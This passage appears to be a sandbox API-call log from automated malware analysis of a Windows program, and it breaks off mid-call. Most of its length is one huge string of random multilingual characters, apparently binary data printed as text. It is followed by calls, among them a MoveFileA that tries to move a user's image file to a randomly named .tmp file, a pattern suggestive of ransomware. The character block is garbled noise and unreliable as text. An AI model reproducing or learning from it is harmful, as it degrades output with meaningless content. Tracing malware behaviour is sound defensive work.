Ꮼ̣࣮嗁ያ燡巳낻峰脤꼱৵쐏ᣆ?븯礚ກ騰ĝ坧뜵먑簊ꈔ䞫ꠑ蔕峄㸁ച硏데㪄ゟ?돭쵇課疛≓匱ẍ鮯?ゼ娥ﺑ抳〝弈뛝〉⿎ぽ躋缧䛫鉰୿ᒥ蒻忭꧋㋆擽烞㉞ㅁ䃁閭쇅癮ॴⲝ삌豑셌ဲ걤퉓挰湡䮵⨖ꀕ⾾眩冞낖晃狊襦젵ﵡ᥆⮢睳♰듙騚⚮섕读硯㎧㜔澟䰕㓅ἰ鲈ⳣ돝⺬좔魨죈涃諱媮㖢᯻㬧녡⇠煣琗঒鰣?䙊㢹朞㶧笝ጙ䎍熲ᲛӳƀЗӓ怞銥䧨沪퉞㸏븎㏐ൄ淸\xfde6취啸쏙벏읥?鎰鐰ࣆ룏략癲鋊䆼쩟卹鹉힎燆盟?𥉉䰬煘ຄ错ﵴ枪蚭熑衦돂ꝃஆ啃桶⧴⦎ዔ嗸蔒䎛ﰘ쪌ރᡐ냓抠揗蘽἖䐁Ⰹ駑륊ⱃꢲף昲轑᳐䗷१ꨍꬺﭓ宣虌閾礬⚐꾬찼Ǘ?港ө湈紼፿먛ګ․녌躴癏嚈醽⎷ꃴ爔稒㞘䳛ᄸ侬Ṻ䯥￨ꖂ鯠쁸䁓硠魹멸Ǝ뜓?뮖摫Ɫ弾㼬綕Յ鷘啥㱷࿬뤹嵴펓节?낰୪⳿緼?䧙뇢?娷?먈㸕⩽眡׽ൊ㦶⇱钶밙ᥝ楃䁹葚⻀眹?㗒鷭ꗨ〻竦꣋捿錟쥥罵ⷪ?⡯픣뻀\x9e犈驧暆鹋⦉흥椥ﻰ昝붥ꖰ걘嚐焺ᔄ஍俯硝ﮃ繚㓐嗅摻％돸㉏俥?㊬▚稵䣭䍁嗾傸䤆?뮢ᒲ랩ര緶?੖ꭌ揂̅䒼⎘䟾植᤾ܨ騶⡧롩偶鉐觱龘薒鏣Ḑ튌⒑ⅻ└涭㭙좘婿鿢泰ມ鹅耼↌䮤僟埭찓ꍔ倣ꯂ孀?쒐᳾碰␲้䓰驃䝥酢㿀ퟀ雧⍢澥痃쁽㋘閕疴혫챉Ѯ㴴ㅟ鱆Զ壄漳㘹먓蝪ద釼雭瓅籗㼑᠏਼ᢝ﹊Ṹ⳺쪠뾶ㆮ磓잍侻둫쁶楦⒵ᄡ戞변裟⣻㭼訜␄࣓ꩭ阯荾呏㲄ꏝᾫᢓ紏딇ሼ铥助쫓羛苌῎见厚눱ଲﲖ䋽㛯봌ੲ쥧㥮贒欚┝ᱸ䑌椈庝⊐渚꫺?暠ﺖ?幀橉?顦쭗䓱픾殥촩᳇刐絓縰霊䧀컆\x96ፁ깾Ћ윎놎醛舳᫣ౙ?᭙Ⲉ䣫嘄鱔ｃ峑絘錤颥蝞⌣䟓嬣饳굺ﰞ뀆牦윈?参뮘데牯뙿싋㋇좰屳㥙赺შሜ瑂䪠녕⮘蝲ᛐ櫜䦙처嬏묠馹ꂌ爆톱鰷䫒鞈㩀귭پ?ࠥꖞ胥ᅏ௥疊鄿⨎⑎劈릆⍾꾎?잡斜蟞뚭䝭븠蕽鉌蒊ㇹ녱ၲ靔ꡘ૽䉪㗒쓊鷌빡뜠崪央凣찉熱믂酒곮崰딻⚆닮ᒦꥐ㤡漍竂끩괠弢㰵롹꒤ਣ悞껝끴瀇馐篎絑蹥痓Ừ薍ꭘ꺳㘢뻃ର츞溪꿪煐ォ䈘촔媔뼼ꒈൻḂꋙ枅?ӹ༮ư鯕㰿槈쐄콹갪塦ׯꃔ猢퀳苞⌂닚嘃怖ࢻ蝳ウ趁崵럣䧳쬻۰น핺␺쵬훉뿬訞鶀臙蕩垄檡摳楖팁椓媑퓂뙼浇᭑ᇄ潖♭ᛀ櫈⒧踥ḕ팞얺⳿Ĭ狿㿒잸꒹纗䚸ꨌ㒒櫓湬赊楮κ뚿‘樦썁䂋檚꽖爍ℶ鸱锿⎲皣⟋迌઒᧑氩嶝첕摛㠃뿤踠喷ᆔ쭥媳䳊Ჾࢻǭ䪿ߕ끢絶쾩鵔䱳م헧ᖟప㚎ಗ㍘甒䃛潷Ⴅ웞⯱綛⫓Ếᖚꮠ憏条䳈킡諰뤿突簜\x98뙃냣껥ꭉ꨷颾牨▉腋߸୒⸁㪏㖸싰ಕ䫹秂ꛡᱱ⸢檅ޤ뭅㧐ƍ剟͵煃듓?蹦᭖ᶥ됗꯫䖨뚜自侄騧Ѥ?ཆ첀쑎᭡䘦뤴٦풤㞄㳣쮊⯁⤋夈뾈⪲ﭳꚢ뤍宮툷딭쵕ᵯ磄쏌﫵췇싀빢귥館싴喳Dž뀇꣺༇툺챛\xfdd4ꉋ汧뀄䏻ꕙꎜ㴹爓䮒㾏薠ㄖ᧡豫댙伞얏唢赬拠켬鳵퀓絎牲⣷?鸦䬺ദ藥༛赍윚驴쟤曳?蛔긙ꍫ鼉扑﹇◫鿷띆肬禲쑡갢誓ᵉ㶴艁悟ᆵ㳺鹷꺡툠㵳냛击㔮퐶噂웅잱姡팷績Ƞ姧䉒Ⰱ硗㞡こᄹ犦鬳俇侖埰虶賮沶뒯殺溬轟櫇ꕟ㬩쑴꙼꽋ና癩惒㉑瀰㥵곃艗氟懇좩쎊쿛鞼࿉⩃㦆譩ﺓ엪Ꚇง㭲꿿ퟃ୰騡ક緙崈莩䆘豜罇謁쇶鍎뒏텅ﮯ祆ꅛ笨렺ꠁ辒됴휿滔戱㭬衕㷗㯓㱺㤎햌댎䣌㊲刞ᅔ﯏힚䑲⦺?풧陿薼໘㻋뙄侔툭纋薑?넱쏛惷䑙薙툢?辅ֽ䴞楳련伢?⛼ㅜ螉립ᯙꑋ宺곇灜낖緓詆ஷꆌ律翸蝎쭔㷟눲朁밇쭿᙭ཨ♇僆؊∿ᣃ呅ꗹ妝芦췾ᖐ䁍博ፏꉩ˯쑿Ȁ龼琅캙盵親૆㠽頬禮虦﷎媦єᑆ꩏䎟潁൒翊鄕踪⽻ࢌ풅瞞䝑쏥㭗ឳ凪₹崦８厰?⁐糛哨뒒⼢Ἆ쵤텎蟛恗疠ࣾ鱘ᦋ泾矒菍㹹⁉䳴曉꨽л?豩䁟㐧ꗧᕄ娘쮨ꟸ뇫진ᢰ跞ǀ뾐❘蛀濚?崊굘휞ᒡ듔琤鳓䎿ꮚ祋ࢁ柹龉縆䡢陵?詍奵蕁䅬ἶ酀믫눝ㅨ輅凯䨎铦벊뷗瞁↋畣庌쮢څྤ澡끖皺鮋暨咄ⴈꕓᢇ毶籺\nᖲ斒霫◿ᶺ?」阈ꀑ鴕큔㻪ᷭ?扨ᾧ䀖ꇦ㸢렿萒롮棠槮ﻑ뢇蹉⣪⺥萚啚잺ؿ봲荧鰁토傕縠럜콧ꪤ뒶૩㟟礲顰䀋枘菏鉂漞䞕鴄菈豂㮙᜗帮窆爬嗭㝼ｲ묹ᜭ藥롏紹姗ꛮ?蕱﨨튯톖쬭?◥㐠䤇䚈诵盲沎㜓갸孈鄏楦ʺԱ㔰ꬴ遲⭠璦浶皣ﻢᡚ㥄辱虒韯ᱏ杖硆⛔綳Ġꏗ쮷渑⋘勉볮沪ᰣꛦ೴蚏檽﫩㻹㘽箰ꏻ췢碤ﺞ쾷㸮趋倲촁晄⭰䰈邠興퍶젠닛г㡿珜겾਴ᅬ禤쨵ડ兇ᖥꂗ鯁쇬㻌꯷휈㴰䭧홴㩾팇燄囲?䴢ﵤ傣?䐃酂㒙䲯䶍理䂼낈?ᄦ?ퟔ봣̪톱㊩ᡙ伹㞔弖觕㌓为쥫ⵏ監뷤갫䔕켱ℨნ᭫띘ꪏ愗妢盒ᬚ㐕䊓├Ͻ建쯋몐ᷛ퐇ጸ勢앿쫷菾腶㥖節໛휃雑韘쐔?柉픦㒢蛒ꓟ䶵쟮臝嫞簶觾曘앱貁덖┎?怴皾矂뛿柠蟐嚙吞ᶏ䘕ᄇ轚墩᫑ବ亹୶삮㦹䕺업㕾洫廨?懧됰㍴찐唏ᨑӧ㟒︐?᛼냯?ꋚ⌛틬㊇輁긧䊅㈶덴買㩻?䇡盋펰璁鈹㝘ᣧꕞ㳟㯧䄞腆茐ඬ䱽ç叁뗵㺇쎟➚馶΅ॊ0䩹虷ଶ倿屪偎嶗搨湸皷츱鐒?м피⣟㝟㒛臽䭜?᫩墐?鰛꣋秝ყ룤勿?锌ᇧ貥璋鿠䷕ᶻｽ騘紀Ⴘ짐욐틉貿訆绚踫礸ꔨ쿙沾汢叧栓峑᷺륖祁鍣띘ﻪ?奊壵뎷폄劾္喷ᒢཆ祿잨㳢?哾ᄹ锝ꦞ辡敐ᠤ䁌㰅鞟儴繇⇡￫뙭ࡠ짛뤝旬楆끫ֆ㞌ổḕ砗ᦧ᭞ﷹ씇ጟ먬?蝫上缉麰훉嘶ծ舩粘銂勞ﮰ靎ꢚ﬐஡즏ꚁ蔍뷢䗩밡㑖﯂삜혴람僛㐵낝繤柱⸲ꋦ찓꺓־嶶追巢侄Ἰ纅⩭⇈ﾲ뾃간ჭ褻☺鷐稻갋劥ᩴ럌腖粤䎮뤽ି?쾁䲩淙瀝玿ᭅ?쪟쑸㲶㭆챀ⶻ醂ꐡ囔뭷鰚滛생՛⩖됎䶹䪾䔑椤⩿犮ڴ鱌슾ସ풆쪺ƹ˝ጂ긡풶⨘净噣ꨔ驴⃻㼄ꮼ퇉ꢷ䚦ꉅ頓゗ᚷ捰럒厧飕詍愤፲띡ᤵ硎鷡ꈦ榹퀕牁䤐䀧䓙ꞇ꺪刏뀐뺈艷鷜۝뫵㸂앷땅걿禄슟摻芆㾸렵겳Ꭓ嬦槉敍鞂褢릜砘빵ﶈ䌥忹탰?嶈香玫က㒮붑뒾㕦霡\x9aཟ촨ꯐ䞦䰪䡰ஂﶱ?ᰮ舋ꀺ䙿᪟羹?⇀㜤킣睁徠曑球鴏鎆䮹欽ᘘ滻蟵ᆣᘨ뒓彝┹늧젊⩳魩䦅꜁꙳?忓᠊挠殔ຟ췳꠴ᤩ?嬣力齒䭘捒枼Ꞟ㫽ꐃ쳬툖苼烩﨨Ąᡋ簗␣䩜玿㠶噦䔡缆吣檑呥陖笠슎ﶲ㳴ﳛ竹픢쳣ᗋ壟ᑫ⬾봿?ꁸ꽜ᨊ룑↫눙⛗㛧氺⸷銢○䣯䊄五僢闤퇀抪堪猕⪶잷ᛏ뼓砅錫ꈬ띈蘄톙ꥥ䭡뗊间寨둠䂉닜욡퟉씞嚿▉느㸷ⶣꩱ肔䰑炁ᕫ䜥䈼횪მን神绱녩峟搸戥煢-ӵ違?ӝߵ渢⢛㛌ꯘ펁〲׎칙⃃鄈퉃঱磞ذ➐묌ᆑ鴓沌턩谑麬?ږج诇쪭궫諾㺕⢸죣낎椗佧馅좵숢䝹⛼啲᫨횯悱ꍼ楖⥨ⱄᤝ?ᡮ鍶ꌅ钛ꦹ㋞࿱퀦???莘䣭詑쾠ꃈយᳮ仚ꯔš槞䁅ں耫窫㽝㪕쁗꧕鞫㥌ꪽ驑镞᫺ꐖ䉨컬뢜ས?죏?ﻈ듸঳矽ｨ뭴㍆相漞縆楛飙໻璊ꭩ犵ৱ벊欰ᷦ福ꙘⰥ₮뉮鶩渗岤致ꨂ쬸ୢ﹐唘鑘廀ꖏ힒尦䆱駎?䝟髙쌳馰䠼ⰸ樫胸磵㛖ἴ律糥幑肥ℬ܃榢耟㴤Ꝭ⊋ᗛﭤ땴钓桷?풠巂駒么钍烕鵠뀢౶㵠Ѭ?ꉡ竇䘻噈⋥ﮃ凝帞堿뜆赁텷Ṽự䛋쏐ꓐ墄৶غ젏䏼驦ঊ廱훢痊㫬ꦩ㓨韨澏븓ꂧꆑ푈?ꗗ琬혳㝬鐌៨黄쐩鸬ᙔ眸湢ʄ힙ﶀ䙩掆഍땃ⷪᔌ鄗ἥ㘎망ᆬ䨖鎳俵蜑푩潐㠉婣↭㏨彎쭩鬆ʴ榄쓛ᗳ識嘏ݷ밄锱陉藌锉齑⽰燲ಧ싰魽ퟭ玞覣轥擿ᬁ坒㒎쭠ﴼ?䁜묒ꈸ팴㦡?鎢袹ዂ窰??╮ם쮇⎼탉滜?羘죅?잛䈛隁⢜鈢骐锦ṣ厺你䲲ꢗ檜姢䊪혰?歼揰?ӷ暄攋꥞跁쀗섿䠦툽ﾤ誠鼓鮅Ꞝ㎯荢壞퍢褥쉇긵횭♋䏃묅ꕚ⡗蘆​歇쪿䤚∆䧨㾏䒄긃㋥硼䡹䂐䈀뵚欳鞇켮ꩂ蜵샴遏䁢ⱥ晀ꢲ矛벤ᑡਞ隄?脰名嚷愰⬻問谝ʙ矏嘓㋐쐇ퟀ覔몙?Ẳ鄑ⱍ益朿᪦ᇞ뺪픭麀䩐앎㌊ꏆﮠ滛㦀驝Ộ뗮噴籘䋂驾⽇୥涖處䋅潫벷⬞숅㪏濵唱ே倽㩞듙쏄঻֬᜺绝揍폹肃珜ή饟ꕶ㍎擙鱋۱ྪￇ턚煝ꕆ唔焲Ὂ谆壷鬁䋏ﺌ?胣７䗀ቛꙺ᭏䯨㜫巕䗝䲀?距녙?뾒屗꫇薂겂真Ḩ띤윚笜欱㯩䚮羕궽ୢ섩桢LJ俣☜?ᑏ뛻ꮄ廍ภ?緋ꠈ쵈중쐚쨟ꕡ?ꀔ﹓艿ꑚᑃ諾㛔蚬Ꝅ쳎鍒⯷蟿㡠똋꫆寑묾䪪ᛴꖌ繘㚺콯瀈Γ깟ވ辻料跂啚䔨⼦ㆽ㢢㸎﨟⽬䰥唰舭謁ⅾ룀ﲒﰬꕈ?哎텸퀙효훧復贘훃䉝⛼챇卫䠠㵮塙䴎鬇酙辡ໍ삙鮑ષ쌰᯳ي➡暄︐쒎⌢Ⴇ?怡䄏댤噐築語?拄祁ㅝᩃ‬홨猐쨁㞄艆뮞竤?什쒙릪健㝩??瞃ꭣ痗땴뵯﷊き숥ꑯ鮘謌謣⠂䛼羶媩ᖠ規䵸缠쎇儎氉씢鶣騱毴ᤸ퐐뫢ඖ荠乎洑ٲሿ羠芶⹃?뮡숩砱昕鹽윖湪ヅ㷠徉研햁ౘ꒶칽쀬䇛꓊쾧㇥࿾⌫흎ᯟ悑㩦ᴜ鼴ੳ謁⧞噳⚬Ŝ퉖᝚⩐䊬缞껸䧬헗똾䠣컶ꈙ潺炉㡃ᑸ島伀舢撈艏례扌ꪈ䅪溤젯⺰鮱걹亄ᖝ꾡폖㌢꩗陗ཧ羋㛑騞଼鳏暨䃸⑃ﮡ옊ᢿݷ羘룒츳렇㛨ꐽ럜竞湹닕挠뜾爃诟ꗶ㛨뿟펒蝱暓蛍⛑宭◢螈짓℉矘징ጳ쳑㹕똮荩몫秨䨛᧝뢚긨앓䁸嫂鳕儛뀉С⴫⎖짗㢛릳䈓깦믷෧㯲敷誶蚙맼냈༪\x06澂ረ겘㮇⷇⸨２䘾밗⚮礇䯝儢ꘓᚐ㺈㖉暪觳옋徍쁯𤋮乂춇䍒ᵈ묁醺혃鯞ᔰ娯稍Ώ朹㌔⿅旣⁥攖ཡ⫝Ⳮ뭘벧྆䪫ᣢ慪㱳쪞럝緧漇燏㒟◟⾋퇀웍?ᕭ?詩䳛剪?얮⚢耢Ⓓ?ꋢ䆿︴⬕㈢襷㜬쫒櫽鵰쓥쇦ᘳ쵀︑谚⺸硆⬼좲銔恀슩?舰䗌⽥횳ퟣ㦯꜖⢉⽢颗❊\x91㳴튒쵆굟ే駟␏䘧첦뤟䚳ː㲵愶뗶臹烍壘숀◇ሙỡꎃⷒ뽠埉잾跿㝤묵싃界躚언᨞⵬↻끏ꈺᄲ᥺?뀃뿴넋뱴옸?ﾞ쇍Ɉ䓚雃?괪⃽欞違룙崺匐뗌⋤郻奪꒱왝䁨㥙葸\x90䠞滉褿ƦƇ웗㔶ᨕ뛠횴盘俜⶛嘹ṑе说導랰쐇吐ी⢷ꘋ⠄䲟⍴⁦嫚ஐ?ᾇ虗竷挩樶捽ⴹ檞쁾襆⒞힠ِ㷹䲡묈嚡褤?࿎ᚫ흨?吘⇔?䄞郔쇩ϐ眙᯶⸕᛫뼳췟猯헁︸搭睍成ᴎ⮤鋄螗桩蘹멞玧Ӽ䬩픵퓳㲗딬듈飨䐑峽詄婳賥ꤓ⎖驵폀毁◨ꚾﲧᤉ뺄ꥷ셵婖䢺Ј᫨竛돴ꬤ쑔掺磓깨ڃ⃚纓雝骶৕㘿꫊퐅ꚳ졬箎庩틐ů㧭綶搹䇴ᮯ∭ꖻ㗦䀫⹈婞궂膸ꭟ楮㒞莿蔡됓믓쒔ᰛ᳼큽￨ۚ尒ꫧ虖蒩岍擱ꝥ댣䐦ꉓ鮞ݾꦠ࿿犱띺끡?嵢㿯⬎ꯈꗕ殿散௹㥴䔋㻶⁇鱝뉝혈碬鱗惨믄ெぺ㏌佷躖䐎줃︀롨㔌Ὂ芄뷭⎳̍உ㌲륬ٶࢌ檧ꃔᅐ㊬ꬆ坽厒삧띓湉ⓐ鲄Ƴﻞ溊ッ禯㥢黅멕⏺횅玦潎ྊﴊ噢頺㘦胎䀕䞢鉧덏῱껪벽챻켆፠쌌쓔橖蕼吠⃥ꡡ醜庀᪹⭿队퐊뗺ă졿⣙舏ꁌ硅㕂ꏶ英葓칉ౡ쪑ṽ䵅?緳쌼⋾ᇙ嗟뎁ㇵ?샍恉㔁琼㼛塞萗晕䦉ㆤ뉂賫ꮧ㥦㦛髑蛯ﰵ癕ꈵᕙᯏ܅蓷ꀈ䤭뙩鹶ि垖늫퐹٣?궰䔣ặ?㢞硷車诒뢐艦ꃧ罙撻꒝뱢蔇䙀愹歺䥹?겛뛦茇쎠笁﵂簟鍈틓⤤咤솝滁맨澕䙭೐噧鰧铜竵⃂礝↠ㅓ뽊γ숝ᑨ遶躷캧?亨㠀鵮崆㙴㶞ꃃ潩?栆䊧?鮰븅悠ԅ铜ꋋᙌ껤ꍒꇶ?鏌?멆聰൘垜Ĭ㰳鄛鷮甯䍜ℜқ査䥄玣鵊葡᫶姢Ḃ?З綳鷅ዑ＜뒽鴏ǣꪔ檭໢箣㟋䭺ʰ诵加臋∓鵇铠蟚없寑團᳌ិ묙㖑瓥ꖯ⅑슧ጦ뵳ꔸÝ툝द늙蠠ꌧ踲줅홭䉸⢑뉬擮승熫孲㖿죙⽧멨䣕㸄᫻榓諛숊埇터訟诶鶀枋腅?ሐ進릊鮮䵓鋚嬋鞀웅䄺뗱ቜ秔꾢堑돟М?找㇩넓䷨눿귊橔攱䋑擠ࡅ赐籺뚼릆땽跛쏖췦ꑵ杻쩇ﶵ뇭⏹턟ᜀꃼ썒䟷ق蒳鉲擝놪력歞溜蠌ꇲㅄۙ֓աࠢ鴡龸ﻼ⣊⒘킃㯍鶝彉嚒쟎䇕恥⣲鰂ﾶ穗柏警띰좮䟯묜ৢ㛠揝仱쒿䀡쫿☶ꗺ碑艟㐹涧詩௎鶧簒?㐣켢鑖걄玒혷茕穼ᝃ녞࣌㡒領縦ű潌髛⤑꼸㽏꛰ꃤ嚝퓩踃旌?鏋똶函ｹ쌖샦뤥貢鲆鑁⺡긎窃ꉙᥣ?ቜ㱶顡뜑?蓢֑?槁鳟颃ก₍?⯵퓩㶕橰酪샣撼邲↡䑠ܬ㚎㺷䟬塶ꁼ皺蔗툴㪰쪧▟뿡㴝跤辂᷈铈娇ᘗ䚼◄⹟꫙ꄵດ䗆쉌ᓒ౎촴秣ಢ妡畝볏Ʇ蕝俎뎔䕜ↄ䜩鲘廜ຎﮑ㑰?ᘸⰯ켩﫯㿇ڮ㣿럌̾ㅫ掔ྱﮗ?섓׆⍛穽溚偂㬴ᤱ埂䁙湔ℬ沨溼㷒钺雨粶쐅鎏㵻訧㟀棛隆ꎍ䪖㬀혨콡എᾥ늗뾋?ꈅ๜쇻嫙欆斋輸荱洕㨩ぱ⁸봨쇂揃䇹嵰?㊋ࣖ輥蛌╢૵⏚ꖳ⹂簡쬮짢嫮슈鼰辁侍ꡓ锜Ċ瑄،쮴ᮆ僺ਲ਼윮畚嗙사㊸땉쁟돘낡ꍘ鳦怱姅뢴ﱜꀳ撼鋥䲚쾶㚮ᇩ끸흺㒱잌㡤뒓ꎁ㣹罈賛輋♵禅䞱ሄ䳗不鎜䄧?萻쨢䌗䕂ﲁ찆⬤⠩蘭饞ﳯ㽎ꖣ苾㋡ᡓ齉㡖忽⺁郊鈺瘚䬱踀흂颫䰪桖㓣約衻绂裴櫠ꀲ齊弦仴圵⟽柮摔ﶖ뤰聠⤣瀧ංꋬඡ趪騝䫌뾵ࢴ⪲聸朊⃷㤘敏엫╋ல磤쮩⫧휪ꬸ喘ᑌ吋텩䃥㥮濫夎Ἥെ쌇蓜낂?䇲軾ై혔銜楔끼鉛䫢瘡븩檿㑵⏸﮺?笩壸㫅؄ᲈ懊Ⓘ沃⪢쀂ⲻ춼㽿➝╝즶왴讗℔矄ꔢ퉚ᾔⱶ☣쌲ꖿ䁖奁쑎뗼ⴆᏺ淘娿댙侮栧핪?䈐彏묘蠜ꊊ◽㛗뼐炅䴌쌙羶截抨葙赀桡潜☺漅魐酗ࠩ份稷䝯ꁾ젝屒竔疆⒐鰝⫽᠙痴闱㩷樶熮ꇟ蹵қ렆ຎ⥯㷞䯽鑃❍⌲䪢㬦䄶浜桩萘솊噝璚…㴐폸㋻远恂ꈼໆ궎䫜ꊹ갉셯攝ꮇ诟輂幓☗?념㙩㳌ᯰ쪪⧁ꖳ継뿠ᅲ卍Ꝓ䟿䝤퐊쫳餻㋀ᐕᘺꭗ槜꫞῔䞸ᶹ蛹筻똵ꛗ䕭ọꖩ胄缤?㱒ୢ蔛甬䦂?ꄥ䫤裵넵潷୲Ꭸ邡ᄙ髬㥿낋맶?䴄?鸅靰㕈䯏贶倠὚ýP豮毙⻲괍짲?Ư쥓즃埴㰮茸顀睅룽낒ꭼ?໥邳쉍ⱉ閱銸ٽ䎾迁⦙?掯懜㳕颠㟢?␹髀ḋ愼仿⽭䊕毐?ᱚ졤츎痦傅ᇊ耣쎚岲⚿ᑦꬡ调늪⋧먵䕋憬ፐ쎤윙뾋韽ȗ㕷㰠纽὇ꌦ䧹熣꿒ꄢ?뵲鍦ጶⴭ䧊破祎꾎髝კ黳糢淽磛⸟༎㷛⎢[ﻓ⛨퇇﹫㑙ꋞꔵ₫ﰄ습㜼翜壷㏝䱅䡓⽖鎏䄅곬㶛넑䥹찒냋⥖騹됚恱垯ᴪ൴펐攐᭩鬌뢱瑊෧壽덑鈧蟂酊逜ה鰜敮㤺觬꡼縓⌟땇ᆳ?ꋾꕑ牓κ?蒕戒穊䡋輠졹鯢｀淿쑦쵐梂隼㽳Ҽ嶿꺩䔥锲䇙崖◂틘꾤ﰉ씰Ꙉ㎂犠⊔혞崿⚑댢抷ꈵႼᝦ撒᪒Ő◵Ȯ㚹뿛㾖ꉆ?杯湧臏徭넂䱚弗哖崀埇瞮Ғ᜘弥癤꞊㚁⚿㶤ꉘ谚❨鉲槣᧛짧?珄늗鈎⫳䟻Ё큠錖﯆હ₡汐㪒㫂⵽썾ሴ⺋㝾젒懻괹邁针肿⺛?䊯᛬馵ꀘ툀壺レ멏둮훊魰慗䨀⑃杝⧥䑦ꤕ厬땦熪⡎芍笕狼ᣅ꼒形Ҧ톻ີ鯋鿁쾕㢡福齧剔ﺎ嘐䒤҂러쬰ḧ᷵㤻⛇錡ऊ㞺⁓ඖ덗룾⅗쒕伫ﳛ鳽艨陬㴓ᵾ滈䃁법⨺䤼觳↌궿喦ꈼ⬖亩晴઺?첖鬢䡷訩菸նㄢ苇〨桑q읰Ὢࡸ႖঒艪?➁괣䣈耭喨昚辪蓘퓛?⌑籞밮ᙶ兙捿䞝눱鶍칥䘹掟ଏ垉䩲읥簓鎄늺㬇ೖ퀱誠浤栐졨숣藛╈냥䴱῰⢑‒⻿꜏囔뻐궦뭩灍䭢ꩂ幈䎕긖粏곁ርൂ펑椘祧臱賙䚫␄봈ꥬೆ﨟꼿頕鉉␈찬?᝜쓉ផ寋된哋㐉俇改刮∱卐ᡔ뇹漂伳뚋ꡇ샀ꙛ޷⣴Ⲗ릚ؕ闺⮚벙⛷ן័途舔ﾢ폧䈣뢳芢꾦뮡螮뙐弶⥟㧭낍쁍涏ⴷ꭮꡿籤径ꌓ㻼卍ỹ୻⇤籀⍚ٴ?⹋䃖饔጑ﲞ閑ᨹ鵎훔ꔌ?࣓ꯀḕ乯㻛Ⅿ簛h蓽꿣㘗ൠᚬ륀㑎ᘉ鶘쟢瞦?⩷榑趗濪?侵भ㸪졫鑡⇥ꏆ✷┎엿舯䤋휢␲৉㫓ꙋ軅?푷쎍뉫?櫴뷙僷䠦겁췏㲷㚐괓∲Ҩ駆脑夾鷇ꧾꇎ멙궐⢱⣊ᒗ最®啮힂뻓宓댉往紮?䟖诌ຒ㰄뺂牾锟㒔⹁鿾ꕘﭽ㙡秐⑌㌃ᡡ뤿≊䧅᳖뵢肹࡛䪔꩜颐䞫ᗙ꨷䨋ຨ?涽挅澤쑪Ꮬ絒⥱롤궖?踱朼♭ਗ਼᧵흰꺟໮㙍ꐢ֜깓߯ᡤ㇋ᬐ뽙먼仏ⲻĿ⾑䓠觅￠吾肼菶昏䛗甯ﴎ✧㱧๗爢䫿㩀ｄ怙䛅찲᤽ퟏ撯여徎ﻊ晋ꏒ?睋覅囯ﱤ䴈뗋꼞䬕?漾ꆈ成Ɒ熻஬醵緁ᘝ芇Ꮪ옔賎䶫뚲ⅹ姊贮볰鷷嵘䄿噽좜䙔䠬퉋⓺箶⛗住黢女?합劵꼱ﺢ辬⹵?뤶᩟䘳직凫ཁ됿놧벫䀙Ҷ?얇횟ꂝ​쩽枷屪䓆訽ᑔ䁕鵉՝딚?堌ᛃꈓ羴ᱪ≧幑㥝빾逶ꘝ뗾섹Ὢ訞㦬폻궜摜봚襘곤鱗罙႖䝩წ") returned 0x61b81 [0127.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x564004c, cbMultiByte=400258, lpWideCharStr=0x5840024, cchWideChar=800515 | out: lpWideCharStr="\x14¢*k+‹kÖF\x19\x19”DçÛÿ$Ì×m4ˆÎoNFg£+¸‰7SÞŒ") returned 400258 [0127.360] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.360] GetTickCount () returned 0x1152482 [0127.360] GetTickCount () returned 0x1152482 [0127.360] CoFreeUnusedLibraries () [0127.360] GetTickCount () returned 0x1152482 [0127.360] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.360] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.360] GetTickCount () returned 0x1152482 [0127.360] IsWindowVisible (hWnd=0x30268) returned 0 [0127.360] Sleep (dwMilliseconds=0x0) [0127.363] GetFullPathNameA (in: lpFileName="t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp", lpFilePart=0x18e708*="t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp") returned 0x8e [0127.363] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", lpFilePart=0x18e708*="Tulip.jpg") returned 0x50 [0127.364] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1s5pil 2rh65ct4lpyzulqlbhu-agpnykuurqusybms62mviqcc1rwq1woqcdauf9n3wolvmzhi1e-ei9x4epwejpykdbqmrp-s.tmp")) returned 0 [0127.367] GetLastError () returned 0x5 [0127.367] GetLastError () returned 0x5 [0127.367] SetLastError (dwErrCode=0x5) [0127.367] GetLastError () returned 0x5 [0127.367] SetLastError (dwErrCode=0x5) [0127.367] GetLastError () returned 0x5 [0127.367] SetLastError (dwErrCode=0x5) [0127.368] GetFullPathNameA (in: lpFileName="t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: 